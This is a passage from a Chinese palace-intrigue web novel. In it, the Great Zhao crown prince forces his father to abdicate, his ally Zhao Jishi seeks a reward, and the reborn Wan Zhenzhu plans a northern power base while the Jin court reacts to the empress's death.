大赵天子望着吓得脸色不太好的小儿子们。 他又瞧着嫡长子李明弘。大赵天子说道:“朕来盖印,颁旨,册立嫡长子鲁王为太子。” 儿子就这么多,再被砍了头,大赵天子就得剩下鲁王一根独苗苗。 到时候大赵天子不册立鲁王,他还能册立谁? 总不能千辛万苦夺嫡而来的皇位,还是便宜了旁枝的兄弟们。 如此,大赵天子在现实面前,他低头了。 圣旨颁布,鲁王领头,叩谢皇恩浩荡。 可区区东宫储君之位,这当然不是鲁王想要的。 走到这一步,鲁王想要的是天子之位。 只是为了名正言顺,或者说为了帝王的大义之名。 表面上应该走的程序,还是要走一走。 先做太子,拿了监国的权柄。架空了天子的皇权。 这才是鲁王的正常操作。 至于大赵天子,当然是因为三皇子病逝,一时神伤,帝王病了。 天子养病,太子监国。这就很合乎情理。 在场诸人,赵济世是欢呼者之一。他与众人一道,贺道:“太子千岁,千岁千岁千千岁。” 一场神武门夺嫡之争,看似匆匆忙忙,实则为了这一天。 太子李明弘准备了太久,准备了太多。 而为了太子上位,争一份从龙之功,赵济世与他的小兄弟们也是等了太远,付出良多。 燕京都,内城,赵宅。 赵济世与小兄弟们聚一起。他瞧着诸兄弟,说道:“殿下做了储君,我们众兄弟的前程,将大不同。” “如今在最关键的一步上,殿下未登大宝,未坐龙椅,还不是天子。我等需谨慎,不可大意了。”就在黎明之前,等待荣耀之时,赵济世给小兄弟们鼓励打气。 大家伙不能倒在最后的这一步,毕竟,就差了那一点。 从太子到天子,就差一点。 第55章 大晋朝,内城,浑江郡主府。 万珍珠瞧着从马车里被人抬下来的亲爹,她一下子眼圈红了。 不太想落泪,怕被人瞧着,在背地里蛐蛐性子软弱。 非是万珍珠小性,而是生活在镐京都。生活在上层的圈子里。 一个性子软弱之辈,从来不是什么好词。因为性子弱,落别人眼中就是能拿捏的软柿子。 依着万珍珠的脾气,她宁可拿捏别人,让人怕,让人愄,她也不想被人当软子捏一捏。 重生之前,万珍珠做了软柿子,在现实面前低过头。 重生之后,万珍珠不想再当软柿子。毕竟,都重生了,还没一点脾气,那不是浪费了重生名额。 “爹爹。” “夫君。” 万珍珠和亲娘迎上前,二人在旁边跟着,一直到进了正屋。 这会儿的万忠良是让人仔细的抬进正屋的寝房内。 已经休养过几日,万忠良的情况好上许多。 此时,他能安慰一番妻女。 “莫掉金豆子。”万忠良说道:“咱闯了生死关,阎王爷都不收。咱命长着。” 万珍珠抹一回眼睛,再仰一仰头。明明眼中有泪,这会儿忍一忍。 万珍珠咽回了眼泪。 “全听爹爹的,爹爹无恙,本就喜事。我和娘亲开心,喜极而泣。”万珍珠讲道。 “对,对。喜极而泣。”牛二囡附合了亲闺女的话。 万忠良在榻上躺着。他还要仔细的疗养。往后如何? 当然是太医上门,再是仔细的开了疗养方子。 至于说回了洪福帝的跟前当差?万忠良也想快快些回去。 可这身子骨的情况如何,那是半点不由人。 此时此刻,万珍珠开口,请亲娘 照顾了爹爹。 而万珍珠则是问一问送了亲爹归来的义兄们,问一问各种细节之处。 宫廷内苑,不,应该说禁宫之内,爹爹养病。 浑江郡主府与义兄们是一荣俱荣,一损俱损。万珍珠就想问问,有什么事情还需要郡主府多注意。 同时,又有什么事情是郡主府好歹能帮衬一二的。 大家伙既然是同一条船上的伙伴,万珍珠肯定能帮衬上的,一定帮衬一番。 领头送万忠良回府的,正是万忠良的义子。 万珍珠客气的唤一声义兄。 对方应了,也是态度摆的端正。可不敢唤什么义妹,妹妹。 而是恭敬的尊称万珍珠一声“郡主”。 态度恭敬归恭敬,应该提点的话,对方也提点了。 不外乎,宫廷内苑,如今天子跟前得脸的张昆,这一位也是一个人物。 有些注意的,那就是避讳着张昆一些。至于张昆一系有哪些人? 能讲的,当然都要讲一讲。 谢过义兄,赠了茶水钱。说是茶水钱,万珍珠给的丰厚。 待宫廷内苑的太监们全给送走后。万珍珠又去一趟亲爹住的寝屋。 “爹爹,您感觉如何?可要请太医来府上一趟。”万珍珠问道。 “在宫里,太医天天问诊。不必再请。待过几日,需要换方子时,再让太医看看即可。”万忠良交代话道。 “成,我听爹爹的意思行事。”万珍珠不反驳了。 “爹爹,要不,您先歇息一会儿。待着用药用饭时,我再来叨扰您。”万珍珠瞧着亲爹眉眼间的乏色,她又讲道。 牛二囡听了女儿的话,说道:“我儿,这些日子,你担忧乃父,也是清苦的过份。如今你爹平安回来,你去歇歇吧。” “你爹跟前,娘照顾着。”牛二囡劝一回话道。 万忠良的目光落在亲闺女身上,他瞧见闺女的眉眼之间确实有郁郁之色,像是缺乏了歇息。 “闺女,听你娘的话,去歇息吧。”万忠良跟妻子一个态度。 在爹娘的劝说下,万珍珠不拒绝。 近日,亲爹未回府,情况总归不明朗,万珍珠心底担忧着。 如今亲爹无碍。万珍珠心里松一口气,她真想歇一歇。 待万珍珠走后,万忠良打发走侍候的仆从们。 屋内,剩下夫妻二人。 牛二囡问道:“夫君,你养伤为重,要不,你也歇歇吧。我在榻边守着你。” “这几日,睡太饱。这会儿倒不想睡觉。”万忠良实话实说。 “那……”牛二囡迟疑一下后,说道:“既然夫君睡饱了,我陪你说说话吧。” “好。”万忠良应一回。 夫妻二人能聊什么?宫廷内苑的事情,牛二囡想问,又怕问着不方便问的事情。 于是牛二囡能讲的,便是讲一讲亲闺女。 “闺女过了十七岁的生辰,吃了十八岁的饭食。”万忠良说道:“也耽搁了好年华,闺女啊,应该寻一门好亲事。” “嗯,夫君说的太对了。”牛二囡太赞同了。 “如今宫廷内苑的变数少了。真想替闺女寻摸着好亲事,时机已至。”万忠良待府里疗养,他有心思关心了女儿的终身大事。 一听丈夫此言,牛二囡心头有底。 牛二囡也是大大的松一口气。亲闺女一直不订亲事。 连未来夫家是什么样的门第皆不知。牛二囡心里惴惴不安。 如今瞧着有眉目,牛二囡很开心。 回了寝屋歇一歇的万珍珠可不知道。她的爹娘已经准备挑了东床快婿。 万珍珠还是睡得踏实一回,哪怕小憩,还是整整睡了大半个时辰。 待醒来后,万珍珠觉得整个人神清气爽,舒坦极了。 坐于梳妆镜前,心情美滋滋的万珍珠是乐得换一换发型,换一换心情。 虽说换了发型,可亲爹在养病中。万珍珠还是梳得简单。 坠着的钗子,也不过是玉钗与珠花相衬。 简单,婉约,又有特色。 “郡主真美。”大丫鬟瞧着观望镜中自个的浑江郡主,忙是赞一回话道。 万珍珠伸手,抚一抚自己的脸颊,她笑道:“人美,也不过是锦衣玉食相衬着。” 万珍珠心头有数,再是美人,若少了华服,若少了珠冠,到底会缺了亮眼的色彩。 如今镜中的自己貌美,更多的,许还是外物相衬。 至少在万珍珠自己心里,旁人瞧她,也不止瞧她颜色如何。还是看了她浑江郡主的身份。 这一日,夕食。 万珍珠一家三口一起用饭。万忠良在养病呢,却是瞧着妻女用的香,一时高兴,多用小半碗的饭。 待夕食罢,一家三口坐一起闲聊趣事。 万忠良的目光落在亲闺女身上,他问道:“镐京都里好儿郎众多,闺女,你喜欢哪一般模样的?” “……”万珍珠的目光落在爹娘身上,瞄一回,又收回目光。 万珍珠笑道:“赵济世,赵大人什么模样?爹爹见过。比照着这人即可。我就欢喜了那等气度的人物。” “……”牛二囡的目光落亲闺女身上,她目光灼灼。 “闺女,你还记着那三年之约?”万忠良问道。 “言而有信。女儿要脸嘛。爹爹,如此,当然会记着。”万珍珠笑道。 万忠良听罢亲闺女的话,他讲道:“真舍得远嫁?” “……”万珍珠沉默了。 良久后,万珍珠讲道:“爹爹,女儿不想远嫁。” “可这一回您出事后,女儿心里害怕。”万珍珠真害怕。 “浑江郡主府不过是一个空头荣耀。没根底,如浮萍。女儿怕。”万珍珠再说一回怕了。 万忠良的目光落在亲闺女身上,他问道:“你有打算?” 万珍珠重重点头。 “爹爹,把浑江郡主这一个名号做实了,您说,可好?”万珍珠问道。 浑江在哪?在北边。 那疆土如今不在大晋治下,不在大赵治下,而是在胡人的手里。 “你倒胆大。”万忠良讲道。 “人有大肥胆,才有大财产。”万珍珠笑道:“爹爹,女儿往前总想着留了后路。可希望搁别人身上,倒不如,就把前程搁了自个的身上。这般会更踏实。” 万珍珠话罢,也压一压声音。 万珍珠更仔细的说了她自个想谋划的一切。 浑江郡主没食邑,那万珍珠就自己争了食邑与封地。 至于说争得一切,献给大晋天子? 万珍珠不想的。 万珍珠更想留了一手,留着的不止是利益,更是全家人的后路。 “赵济世是北镇出身。北镇,挨着浑江不是太远。”万珍珠不会说,这里面没有谋算。 可就算有谋算,也是相互得益的双赢局面。 至少万珍珠是想双赢,没想着损人利己。 “你胆大啊。”万忠良再次感慨一回。 牛二囡的目光落在亲闺女身上,她也被吓唬一跳。 “……”此时此刻,万珍珠在沉默。 她的谋算,她全讲了。爹娘会不会赞同? 在万珍珠瞧来,亲娘等着亲爹拿主意。而亲爹嘛,貌似在这一回遇刺后,可能又有一些想法的。 “这等事情得水道渠成,急不得。”万忠良给了自己的态度。 这不是反对,而是默许。 救了圣驾,万忠良当然不后悔。毕竟他是天子心腹。 护卫天子左右,一旦天子出事。他的下场,一定不会好。 那么,唯一的答案,不必脑子想,万忠良都知道是护了天子安全。 哪怕舍命,万忠良也得当了大大的忠臣。 君臣父子,此乃朝纲。 万忠良只是千千万万的凡人,他的荣光,来自皇权。 沾了皇权的光,就得替皇家卖命。想不卖命? 除非有砸了棋盘的能耐。 可万忠良没那一份砸棋盘的能耐,他只能在棋局里拔动。 甭管是拔动别人的命运,还是他自个的命运。他在棋局内。 如今的万珍珠想干的,就是跳出了镐京都的棋局。 万珍珠想再开一局,不是必需当了别人的掌中棋子。 又或者说便是当棋子,又如何?万珍 珠还想翻盘,她也想当执棋者,而不是一辈子做了一颗小棋子。 天下大势,势从何来? 又或者问,权从何来? 对于万珍珠而言,借皇权,倒不如自己立门户。 如何立门户,当然是在新的土地上,立了自己的招牌。 浑江,那遥远的北方,便是万珍珠眼中的创业热土。 创业,这二字多神圣。至少在如今的万珍珠眼中是如此。 当然创业能不能成功,万珍珠不敢保证什么。 只是尽可能的,万珍珠想多抓了筹码。 如此,家乡挨着浑江郡的北镇,落入了万珍珠的眼缘里。 在北镇根基深厚,人缘广的赵济世,那更是在万珍珠心坎上,真可谓是光芒万丈,犹如盖世英雄一般。 万珍珠盼着盖世的英雄,展示了伟力与大能耐。 至少浑江郡的那一片土地,如今嘛,让万珍珠视为囊中之物。 想归想,三军未动,粮草先行。 万珍珠想创业,总得摸清楚情况。那么,在北镇的分商社就是先遣队。 至于后方根基。万珍珠一直在积攒。收养孤儿,培养孤儿。 一直薅大晋天家的羊毛,努力的薅,万珍珠可没手软。 毕竟浑江郡主府代表了万内相。万内相不拿一点,不吃一点,下面人谁敢动手? 下面人不动手脚,这如何上下一心? 反正这一个世道,落万珍珠眼中从来如此。就一个巨大的草台班子。 比烂,比谁更烂。 大赵朝,东宫。 李明弘见了心腹诸人,他起意,准备南下亲征。 李明弘想更加的抓紧了兵权。只是他有意,可下面人全都反对。 赵济世也是反对的人之一。非是坏心,而是一片赤诚。 太子李明弘是一面旗,是大家伙的衣食父母。 打仗,莫瞧着文人墨客说甚的建功立业,好似热血。 可实际上,真正打过仗,在兵营里待久了后。 情况嘛,懂得,那都懂。 赵济世就是太懂的一人。一旦上了战场,甭管是天王老子,还是皇家贵人。 命歹了,应该死的时候,那就会死翘翘。 在战场上,谁活谁死?这是概率问题。 没谁敢打包票。赵济世不敢,他相信,历朝历代的名将一样不敢。 因为战场上的事情,瞬息万变,不是下棋,你一子,我一子。 战场上,有以大搏小,有以弱胜强。 更有步步为营,把大势压倒。总之,就是五分把握也罢,三分把握也罢。 在需要时,拿命填上。 赢了,就是赢了。输了,多半要填命。 填谁的命,都有可能。全看天意。 “太子殿下,万万不可。”常世子这一位太子李明弘的表兄也在劝话。 当然了,劝话的,敢跟太子顶牛的,也就数着常世子,这一位太子的表兄。 便是另一位太子舅舅家的表弟,何二公子,那还是讷讷不言。 何二公子还一直瞧了太子的神情,似乎坐立难安。 “表弟,你快劝劝。太子千金之躯,乃众生福祉。岂能亲征战场,太危险了。”常世子讲话道。 “……”何二公子神色尴尬。 “表兄,莫让表弟为难。”李明弘说道:“孤想亲征,也是想替舅舅与姨丈分忧。” “殿下。”常世子继续劝话。 对于常世子而言,亲爹等人在前线,那是干的老本行。 问担忧不担忧?常世子不担忧。他信父亲的本事。 常世子瞧一眼表弟,说道:“表弟,你如何不讲话?莫不成,你赞同太子殿下亲征?” 常世子在怀疑一些事情。 “我,我……”何二公子吞吞吐吐。 这会儿有眼睛的都瞧出来,何二公子跟大家伙的意见相反。 赵济世原本瞧着何二公子,那瞧着还挺顺眼的。 如今一瞧,贼眉鼠眼,不像好人。 狗屎人物。在心里,赵济世蛐蛐一回何二公子。 不怪赵济世生怒,实在是太子真的太重要。 太子安在,赵济世等人的前程有望。 赵济世太想做从龙功臣。赵济世巴不得一觉醒来,太子就坐了龙椅,成了新天子。 在这等时候,谁敢让太子出了燕京都,那就是赵济世的仇人,敌人。 当然心里腹诽归腹诽。面上,赵济世不想得罪何二公子。 谁让何二公子的背后,还有一位何国舅。 何国舅在军中的势力很大。或者说,何国舅的姐姐当年能成为齐王妃。那就是家世背景给的助力。 至于齐王登基成为大赵天子后,为何不想册立太子? 不外乎,就是李明弘这一位嫡长子的背后势力太庞大。 大赵天子心不安,也想扶持了杨皇后生的三皇子。 大赵天子想得美,结果,翻盘了。 “罢,罢。”李明弘在众人的劝说下,他打消了亲征的念头。 “殿下,钦天监有言,八月初八,乃皇道吉日。” 赵济世这会儿当了狗头军师。 赵济世提一嘴钦天监,他就一个用意。好日子,天凉了,太子殿下应该添一件“衣裳”了。 那“衣裳”上应该绣了什么,懂得,那都懂。 赵济世做了头一个劝进之辈。听上去是献媚。 实际上就是献媚。 赵济世不装了,摊牌了,他就想当从龙功臣。 能捧金饭碗,给子孙挣了大富贵。应该摊手时,赵济世一点不介意厚脸皮些。 赵济世拿着钦天监当牌子,他在劝进。 有赵济世开头,当然就有跟进的。常世子就是最热忱的一人。 至于何二公子?在常世子瞪一眼后,也是跟着劝进起来。 东宫内,李明弘瞧着诸心腹们的热忱。他哪不懂。 大家伙都是心热眼热,都想赶紧的升官发财。 东宫太子,那不是大家伙的目标。大家伙更盼着主子李明弘做皇帝,做天子。 大晋朝,皇宫,泰一宫。 大赵天子被“病了”。太子监国。禁宫的禁军侍从等等,能换的,太子全给换了。 至于没换的,也是有一些墙头草。当然,如今他们都是识实务的倒台向太子一边了。 泰一宫里,大赵天子能任用的不过一点点旧人。 如今的天子神伤着。 说他是天子,落大赵天子眼中,他是哪门子的皇子? 他简直就是好大儿,东宫太子李明弘的傀儡。 要说,想不想翻盘?大赵天子太想了。 可这人在局里,如今被拿捏着。不止大赵天子被拿捏了。 他的小儿子们也被拿捏住。大赵天子不敢多动弹。 真怕惹了好大儿李明弘的恼,万一,李明弘不顾兄弟之情,把小儿子们也给卡卡掉。 光想想,大赵天子睡不安,食不香。 “陛下,太子殿下求见。”心腹太监禀话道。 “传。”大赵天子吩咐一字。 太监领命,躬身告退。 又过片刻后,太子李明弘走进大殿内,他向君父问安。 “免礼。”大赵天子摆摆手。 “朕病了,需多休养。太子来,所谓何事?”大赵天子问道。 这话,不止是问,而是在嘲讽。至于嘲讽 谁? 这是一个仁者见仁,智者见智的问题。 “父皇,儿臣瞧着您龙精虎猛,身体康泰着。”李明弘笑道。 “……”大赵天子不想说话。他当然知道,他这天子的龙体好着。 可问题在于太子一监国。用的理由是什么? 是天子“病”了。 “说吧,你来所谓何事。你我父子,不必惺惺作态,太虚假了。”大赵天子不想跟嫡长子继续演戏。 李明弘瞧过君父的态度。他也不演了。 “来人。”李明弘吩咐一句。 赵济世是跟班之一,这会儿他走上前,递上一份明黄色的圣旨。 “此道圣旨,请父皇盖玉玺,颁布天下。”李明弘接过赵济世递上来的圣旨。 尔后,李明弘把圣旨递给大赵天子跟前的心腹太监。 由这一位太监呈至大赵天子的御案上。 大赵天子听着嫡长子的话,他展开圣旨。这一瞧,大赵天子就差喷一口老血。 “欺天了。”大赵天子怒喊一句。 “……”赵济世在心里腹诽,想着,可不是欺天了。 天子,也是天老爷的儿子。这太子都呈上圣旨,让皇帝老爷退位让贤了。 落皇帝老爷眼中,这骂一回欺天了,还真没骂错。 赵济世心情很好。这事情,他在东宫时就知道。 又或者说,此时此刻,跟在太子身边的众人,全是太子李明弘的心腹。 他们都知道将要干的事情。他们一点不害怕。 神武门事变,应该砍头的砍了。那会儿干的事情都逆天。 如今再收一个小尾巴,这不是理所当然。 “父皇。”李明弘又喊一回。 李明弘恭敬行礼,只请君父盖玉玺。 可落在大赵天子眼中,这是嫡长子逼他退位。 当一个傀儡天子,那还是天子。还有可能翻盘的。 一旦退位,太上皇跟天子,那就是两回事。大赵天子一点也不想退位让贤。 哪怕这“贤”是亲儿子,那也不成的。可如今,形势比人强。 大赵天子心里苦啊,真心觉得,他太难了。 第56章 大晋朝,内城,镐京都,浑江郡主府。 万忠良的身子骨养一养,他感觉养好了。只太医开着温养方子,说是还需要调养一些日子。 如此,万忠良就继续待府上疗养。 这一日,万忠良单独留了女儿谈话。书房内,父女二人谈事。 “瞧瞧爹爹做派,莫不成发生大事?”万珍珠笑问道。 “是有大事。”万忠良点头。 “有一事,也得告知你。”万忠良指着东边,说道:“大赵换了天子。” “……”万珍珠沉默片刻,尔后,回道:“大赵天子驾崩了啊” “我记着,这一位上位才不久啊。”万珍珠回想一下前世的记忆。 想一想,好像大赵的永治帝确实是在位不久。 哪一年驾崩的? 万珍珠没记着,只记着在位时间太短。 前世的万珍珠关心自己的一亩三分地,哪会注意着隔壁皇朝的事事非非。 “永治帝未驾崩,乃退位。”万忠良给女儿解释一回话道。 退位吗? 万珍珠仔细想一想,也可能。不过下一任帝王,那一位名李明弘的帝王,好像圈的年号是承顺。 承顺帝,承天顺命。 “新帝新气象,瞧着大赵又要有新气象了。”万珍珠顺嘴一句。 “咱告知你这一事,乃是问一问你的心思。”万忠良的目光落闺女身上,讲道:“赵济世是大赵新帝的心腹,一朝从龙之功。他也许在燕京都已经娶了高门贵女,你还要等他吗?” “等。”万珍珠肯定的回一字。 “三年之约,我不会辜负了。若他辜负了,那是女儿眼瞎。”万珍珠笑道:“到底赵济世当年帮衬于女儿,还救过女儿。” “旧情犹在,女儿不是无情之辈。”万珍珠觉得自己讲信用。 “何况,女儿相信自己这一双眼睛,一定没看错了赵大哥,他乃信人,他乃好人。”万珍珠觉得赵济世人好。 这一个好,好在重信誉。 “既然你信他,咱就信一回。”万忠良说道:“北镇那一边,你想多添一些筹码,咱也同意了。” 万忠良准备给女儿添注。 万珍珠的脸上喜色浓了,她问道:“爹爹,您乐意替女儿添注,还是下大注。为什么?” “凭你是咱的闺女,咱挣的一切,咱一闭眼,也全都是留给你的。”万忠良摸着心坎儿讲话。 “若辛辛苦苦一辈子,挣来的家业不留了自家的孩子,闺女,你说,咱还留给谁?”万忠良反问一回亲闺女。 “爹爹说的对。辛辛苦苦一辈子,不还是为了儿孙们。”万珍珠很赞同。 “我将来挣得的家业,一样留给自己的孩子。”万珍珠表示爹爹辛辛苦苦一辈子,爹爹留给她的,她要发扬光大,将来再传承下去。 “如此,你开得济贫院,一定要多关注上。莫假人手。”万忠良叮嘱一回闺女。 “唯名与器,不假人手。爹爹,我都记着。”万珍珠重重的点头,她态度认真。 对于济贫院,万珍珠上心的很。莫看如今收养的女童多,男童少。 那又如何? 在万珍珠的心底,那是她家的根基。 因为这一个世道里,世人有一些普世道理,就是吃谁饭,端谁碗,听谁话,效忠谁。 人嘛,白眼儿狼总是万里挑一,难得。 大多数的人一定是讲一个恩义。或者说这世道价值观就是如此。 万珍珠薅羊毛也罢,吐血卖自家的家财也罢。 她是真金白银的拿钱拿粮在养人,还是养着只消耗,不挣钱的小孩子。 这等善心让外人瞧见,谁都要赞万珍珠太心善。 因为那些孩子若不是遇着万珍珠,他们是没机会活命的。 活命之恩吗?这等用词的份量太重。 万珍珠自认为不是什么普渡众生的圣母。她只是凡人。 认清楚自己,万珍珠才敢下注办事。因为不敢贪。 一个贪字,最让万珍珠念叨。 或者说哪怕贪了,万珍珠还想步步为营。她准备一步一个脚印的走踏实一点。 明明秋日,万珍珠去了济贫院。她亲自去见一见收养的小孩子们。 不止送一些衣物吃食,万珍珠更想在这里住一些日子。 她想了解他们,真正的知道他们的所思所想。 人嘛,在什么样的环境里长大,才会对此产生什么样的真感情。 将心比心,莫把人当了草芥,更莫把人当了数字。 万珍珠只想有一个光明的未来。若是可以,她也乐意施了援手,让自己的身边多一些同样有光明未来的伙伴。 就像是在浑江郡主府里当差的诸人一样。 万珍珠只当他们是打工的,在她跟前就是一份工作。 应该在责任范围内的诸事,万珍珠会订了严苛的制度来约束。 可应该给到位的工钱,万珍珠不会苛刻了。 同时,关于他们的未来。万珍珠更是心心念念。 有些赎身的,想做良民的。万珍珠从来支持。 哪怕想留了府上继续当差的,万珍珠也乐意给他们更宽广的上进空间。 毕竟万珍珠还有产业,那里面需要更多的人才。 如今,属下万珍珠名下的商社,一直还在攻城拔寨。 为了前途,人才,在万珍珠眼中是少了,而不是多了。 人人都有光明的未来,或者说,这一个“人人”二字有一个范围。万珍珠能帮衬的,只是入眼所见的熟悉之人。 能耐摆这儿,万珍珠不是大圣人。她能帮衬的人,总归还是少数。 想到自个,再想一想赵济世。 对于赵济世立有从龙之功,万珍珠也好奇,这一位赵大哥会如何办? 求了前程,还会求了名门贵女的娇妻吗? 大赵朝,燕京都,皇城,泰一宫。 李明弘在钦天监呈的年号里,点中承顺二字做年号。 虽然今年吧,李明弘不会改了年号。而是来年改年号。 如今的大赵朝,还是永治这一个年号。 “陛下。”赵济世躬身而立,他在等候了天子的吩咐。 “济世,朕记得你未娶妻,如何就拒绝了崔氏的贵女?”李明弘笑问道。 “当年崔氏待臣爱搭不理,今日,臣还以颜色罢了。”赵济世回的坦坦荡荡。 “哈哈哈……”李明弘听罢赵济世的答案,他是畅快的笑一回。 “爱卿,你倒坦诚。”李明弘对于赵济世的坦诚,他很欣赏。 李明弘做了帝王,尔后,他发现做帝王时,也不得自在。 世家世族也罢,外戚勋贵也罢。李明弘这一位天子难啊。 当然,难归难。让李明弘再选择一回。他还是会选择用神武门继承法,以此来承继大赵朝的祖宗基业。 当天子嘛,说是为难。其时大权在掌,这等皇权可谓是男人最好的补品。 李明弘明明忙碌,可 他的精神头不错。对于朝政也罢,对于军务也罢。 李明弘精力旺盛的很。 “朕也记得,当年崔氏确实是瞧不上爱卿这一位毛脚女婿。如今攀附过来,倒显得肤浅了。”李明弘登基了。 他这一位帝王也收到奏本,世家世族里,有人在吹风。 不外乎就是想让帝王选秀。 李明弘的后宫,那高位空得太多。很多人是想走一走裙带关系的。 “……”赵济世做了苦脸。 “要不,朕替爱卿赐婚。”李明弘提议道。 “陛下隆恩,臣受不起。”赵济世赶紧的行大礼。 “启禀陛下,臣有婚约在身。”赵济世忙解释一回。 “爱卿有婚约?”李明弘有兴趣,问道:“朕瞧爱卿这年岁早应该娶妻生子。若有婚约,如何不迎新妇过门?” 当年崔氏拒绝了赵济世做女婿。几年过去,赵济世还没成婚,李明弘好奇了。 这赵济世的婚约对象是谁? 赵济世恭敬回道:“与臣订婚约的乃是大晋万内相的女儿,大晋的浑江郡主。” “……”李明弘沉默。 大赵、大晋,乃是两国。李明弘还有一个妹妹在大晋做和亲公主。 对于大晋,李明弘的态度是含糊着。眼下,赵济世说他的未婚妻是大晋天子心腹的闺女。 李明弘倒要多瞧一眼赵济世,这婚约定的,有够离谱。 “爱卿,你娶一大晋女子,于你前程,甚无助益。”李明弘点破真相。 “臣知道。”赵济世回的干脆,他道:“只臣欢喜一人,想娶了她,相守一生。” “……”李明弘瞧着赵济世态度坚定。他又哈哈大笑一回。 “朕知爱卿乃信人,罢,你即有婚约,还当早早迎了心上人过门才对。总耽搁下去,何时能添丁进口。”李明弘劝一回话道。 对于心腹娶大晋女,李明弘想得开。 这事情赵济世办成了,于赵济世无甚助力。更不可能融进了世家世族的圈子。 李明弘巴不得。这样做孤臣的赵济世,那还是好臣子。 “好男儿先立业,方成家。当初臣在未婚妻跟前讲了大话。如今未功成,陛下,您瞧瞧,臣哪敢去提亲。”赵济世说是卖乖叫苦。 实则嘛,赵济世也是想求官求上进。 李明弘听懂赵济世的意思。于是这一位帝王给了心腹机会。 很简单,南边还在打仗,大赵朝与大吴朝得分一个胜负。 这不,把赵济世派去,也算得捞一些功劳。 如今南边的局面,大赵朝稳稳的站着上风。 做为新天子,李明弘还想立威。在大吴朝的身上立了新天子的威风。 大晋朝,镐京都,浑江郡江府。 万珍珠这一日见一见林江郡主。二人吃吃喝喝,谈些趣事。 “妹妹可听说,荣恩伯府的事。”林江郡主提一句。 “好叫姐姐知道,我最近不爱出门。这消息落伍了。”万珍珠自嘲一回。 林江郡主听罢万珍珠的话,也不隐瞒什么。 她讲一桩荣恩伯府的小事。 说小事,也不算小事。王贤妃的二叔被拿了衙门去。 听说跟一桩人命官司相干系。 “如今瞧来,这事情保真吗?”万珍珠问一问案子真相。 “不知,还得等衙门的结果。”林江郡主回道。 从林江郡主这里知了荣恩伯府的嫡二房出事。 万珍珠就跟亲爹谈论一回。 父女二人谈起此事后,万忠良回道:“这事情九成为真。” “贤妃娘娘的好二叔,可不是一个安份守己之辈。往前也是犯过事情。只瞧着荣恩伯府的体面,方才被压下去。”万忠良讲的平平淡淡。 万珍珠听着,她心里寒凉。 人命官司,瞧着亲爹的态度,也不是一回两回。 凭着荣恩伯府的荣耀,人命,真的如草芥一般。 “陛下知道吗?”万珍珠问一句。 “只有陛下不想知的,哪有陛下查不到的。”万忠良给了态度。 “女儿懂了。”万珍珠轻轻颔首。 “闺女,你懂了啥?”万忠良问道。 “陛下眼中,外戚为重。”万珍珠回道。 “这你错了。”万忠良反驳一回闺女的话,说道:“陛下眼中,社稷为重。” “外戚,那份量在陛下心里浅着。”万忠良评价一回,又道:“贤妃娘娘有体面,那是三皇子殿下挣来的。” “陛下亲自抚养三皇子,跟三皇子殿下的感情甚笃。贤妃娘娘母凭子贵。”万忠良说着宫廷里颠不破的真理。 “至于贤妃娘娘的二叔,也不过是苦主不闹腾,官府就不追究。”万忠良讲了这一个世道的规矩。 民不举,官不究。 和稀泥的日子,也就凑凑合合的过下去。 “那,眼下翻案子,还查旧帐。爹爹,您说,可是有人瞧不下去了?”万珍珠问道。 “头顶一片青天,只能是陛下。如今有人闹腾,不过是想折腾一下新局面。闹不大。只要三皇子殿下安在,荣恩伯府的局面就坏不掉。”万忠良看得淡然。 荣恩伯府的根基在三皇子身上。三皇子在,荣恩伯府就会好好儿的。 “爹爹,您的意思是有人想办了荣恩伯府,不过是想牵连着三皇子殿下。这,这会不会是跟四皇子殿下相干系啊?”万珍珠问一回。 “可能吧。”万忠良没有说死话头。 “这些事情不重要。”万忠良的目光落闺女的身上。 “闺女,你还是把力气使在自己的心思上。咱还等着瞧一瞧,我家闺女将来的威风八面。”万忠良对于亲闺女“创业”一事。 万忠良支持了,他当然盼着亲闺女得一个好收场。 父女二人就如何下注,还有薅羊毛一事,那是又议论一回。 大晋朝,镐京都,皇宫,泰和宫。 “陛下,昭阳宫出事儿。”张昆忙向洪福帝禀话,道:“皇后娘娘薨了。” “……”洪福帝愣在当场。 “你说甚?”洪福帝再问一回话道。 “禀陛下,皇后娘娘薨了。”张昆小心的回话道。 皇后母仪天下,一国中宫。她薨逝了,当然是天大的事情。 特别是魏皇后被洪福帝禁闭在昭阳宫里。 关于昭阳宫的宫人们,全被审讯后,一一招供了。 洪福帝跟前的张昆刚拿着证据,马上就向天子交差。 就这等关键的时候,魏皇后薨逝。 不止洪福帝觉得恍惚,张昆也恼火的很。要知道张昆这一位洪福帝跟前的旧人,还想借着机会多安排自己的人手。 如今办的案子出纰漏,张昆心里想骂脏话。 “摆驾昭阳宫。”洪福帝跟张昆吩咐一句。 “唯。”张昆赶紧应话,尔后,去安排帝王吩咐的差遣。 宫廷内苑。 魏皇后薨了,这事情瞒不住。王贤妃知道了,后宫的嫔妃们都知道了。 这等时候,先换一身素衣的王贤妃,又是换了装扮。 钗环佩饰,尽是素雅。 “皇后娘娘,薨了,倒是巧合。”王贤妃感慨一回。 对于魏皇后的早死,王贤妃不解气。 王贤妃还盼着出一位废后呢。不过转念一想,皇后没了,昭阳宫的凤位空缺。 膝下有三皇子,三皇子又得宠的王贤妃,那在这一刻生了野望。 王贤妃想当皇后,虽然她嘴上不说,可她心里就是如此想。 在王贤妃起心思时,朱充仪在整理妆容。 朱充仪一样改了穿戴风格,一样是素净的过份。 朱充仪的心里恨极了魏皇 后,要知道宫外,朱充仪的娘家被踩的太惨了。 可恨归恨,朱充仪还得顾惜一回天子的心思。 这不,没探明白天子的心思前。 朱充仪还得尽了嫔妃的本份。魏皇后一日不被废,她就是中宫娘娘。 嫔妃们对着皇后,只有行礼跪安的份。 “哼。”朱充仪冷哼一声。 有些话不必讲,全在心里面。朱充仪觉得魏皇后死的太轻巧,倒是好命。 可魏皇后的亲族吗?在魏皇后薨逝了,会不会被洪福帝放一马。 如今的朱充仪在怀疑着。 打蛇不死,必留后患。朱凤曦不想放过魏皇后一系的人。 如今的朱凤曦心情复杂着。 谁让魏皇后是薨了,可魏皇后还留下亲骨肉沁阳公主。 沁阳公主在,这祸苗就在。 朱凤曦心里有主意,她就想瞧瞧,天子在魏皇后的身后事上,那又是宽容,还是不宽容? 昭阳宫。 洪福帝见了魏皇后的遗容。洪福帝心情很坏。 对于皇后表妹,洪福帝早烦了。 谁让这一位表妹不识趣。可是,一旦人殁了。 洪福帝再回想表妹时,洪福帝想到的更多的,还是他二人过往的欢喜之时,开心之事。 活人,又哪能争得过死人。 死人,哪怕不是完美的。奈何活人会脑补,会美化。 就像是洪福帝一样,他信人死为大,死了,巨债皆消。 